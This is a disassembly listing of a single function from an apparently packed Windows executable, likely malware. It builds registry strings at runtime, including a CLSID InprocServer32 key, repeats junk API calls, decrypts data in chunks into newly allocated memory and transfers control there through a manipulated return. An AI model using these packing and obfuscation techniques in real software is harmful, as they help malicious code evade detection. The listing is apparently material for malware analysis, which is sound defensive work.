Function at 0x4018b0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x914
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x79c], 4
mov dword [ebp - 0x784], 0x80000000
mov dword [ebp - 0x798], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x72c], eax
pushal
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12d
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x7f4], str.SOFTWAREClasses
mov dword [ebp - 0x7a4], str.clsid0be35204_8f91_11ce_9de3_00aa004bb851inprocserver32
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12c
mov dword [ebp - 0x28], 2
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x200
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x401a33
call entry0
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [reloc.ADVAPI32.dll_RegOpenKeyA], ecx
mov edx, dword [ebp - 0x7f4]
mov byte [edx], 0x53
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 1], 0x4f
mov ecx, dword [ebp - 0x7f4]
mov byte [ecx + 2], 0x46
mov edx, dword [ebp - 0x7f4]
mov byte [edx + 9], 0x43
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 0xa], 0x6c
mov ecx, dword [ebp - 0x7f4]
mov byte [ecx + 0xb], 0x61
mov edx, dword [ebp - 0x7f4]
mov byte [edx + 0xc], 0x73
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 0xd], 0x73
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x7f4]
push edx
push 0x80000002
call dword [0x4350e8]
test eax, eax
je 0x401aaf
xor eax, eax
jmp 0x401ddf
mov eax, dword [ebp - 0x7a4]
mov byte [eax], 0x63
mov ecx, dword [ebp - 0x7a4]
mov byte [ecx + 1], 0x6c
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x7a4]
push eax
push 0x80000000
call dword [0x4350e8]
test eax, eax
je 0x401ae3
xor eax, eax
jmp 0x401ddf
mov dword [ebp - 0x904], str.4125
mov ecx, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x914], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x910], edx
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x908], eax
push 0x104
lea ecx, [ebp - 0x900]
push ecx
call dword [ebp - 0x910]
mov edx, dword [ebp - 0x904]
push edx
lea eax, [ebp - 0x900]
push eax
call dword [ebp - 0x914]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [ebp - 0x900]
push ecx
call dword [ebp - 0x908]
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0xffffffff
je 0x401b74
cmp dword [ebp - 0x90c], 0
je 0x401b74
mov eax, 0x42
jmp 0x401ddf
push 1
mov edx, dword [0x4350e4]
push edx
call fcn.004016e0
add esp, 8
mov dword [0x4350f4], eax
mov eax, dword [0x4350f4]
push eax
call fcn.00402030
add esp, 4
mov dword [ebp - 0x794], eax
mov ecx, dword [0x4350f4]
mov dword [ebp - 0x734], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x4350f4]
jae 0x401c22
mov eax, dword [ebp - 0x734]
push eax
mov ecx, dword [ebp - 0x790]
push ecx
call fcn.00401fc0
add esp, 8
mov dword [ebp - 0x788], eax
mov edx, dword [ebp - 0x788]
push edx
mov eax, dword [0x4350e4]
add eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 4]
push ecx
call fcn.00401490
add esp, 0xc
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x790]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x734]
sub ecx, dword [ebp - 0x788]
mov dword [ebp - 0x734], ecx
jmp 0x401baa
mov edx, dword [0x4350f4]
push edx
mov eax, dword [ebp - 0x794]
push eax
call fcn.004016a0
add esp, 8
mov ecx, dword [ebp + 8]
mov dword [0x4350d8], ecx
mov dword [ebp - 0x30], 0
mov dword [ebp - 4], 0
push 2
mov edx, dword [0x4350e4]
push edx
call fcn.004016e0
add esp, 8
mov dword [0x4350f4], eax
mov eax, dword [0x4350f4]
push eax
call fcn.00402030
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x4350f4]
mov dword [ebp - 0x734], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x4350f4]
jae 0x401cf7
mov eax, dword [ebp - 0x734]
push eax
mov ecx, dword [ebp - 0x790]
push ecx
call fcn.00401fc0
add esp, 8
mov dword [ebp - 0x788], eax
mov edx, dword [ebp - 0x788]
push edx
mov eax, dword [0x4350e4]
add eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 4]
push ecx
call fcn.00401490
add esp, 0xc
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x790]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x734]
sub ecx, dword [ebp - 0x788]
mov dword [ebp - 0x734], ecx
jmp 0x401c82
mov edx, dword [0x4350f4]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.004016a0
add esp, 8
mov dword [ebp - 0x7a0], 0x401700
mov ecx, dword [ebp - 0x794]
mov edx, dword [ebp - 0x2c]
mov dword [ecx], edx
mov dword [ebp - 0x79c], 0x5b000
mov eax, dword [ebp - 0x79c]
push eax
call fcn.00402030
add esp, 4
mov dword [0x4350c4], eax
push 0x28800
mov ecx, dword [ebp - 0x794]
push ecx
mov edx, dword [0x4350c4]
add edx, 0x200
push edx
call fcn.00401490
add esp, 0xc
call fcn.00401690
mov dword [ebp - 0x79c], eax
mov eax, dword [0x4350c4]
sub eax, dword [ebp - 0x79c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x4350c4]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401df0
add esp, 0xc
mov edx, dword [0x4350c4]
add edx, 0x28720
mov dword [0x4350c8], edx
popal
push 0x501094
mov eax, dword [ebp - 0x7a0]
mov ecx, esp
mov edx, 0x1e
mov edi, edi
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, ecx
sub edx, 0x3e7
jmp 0x401dd2
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret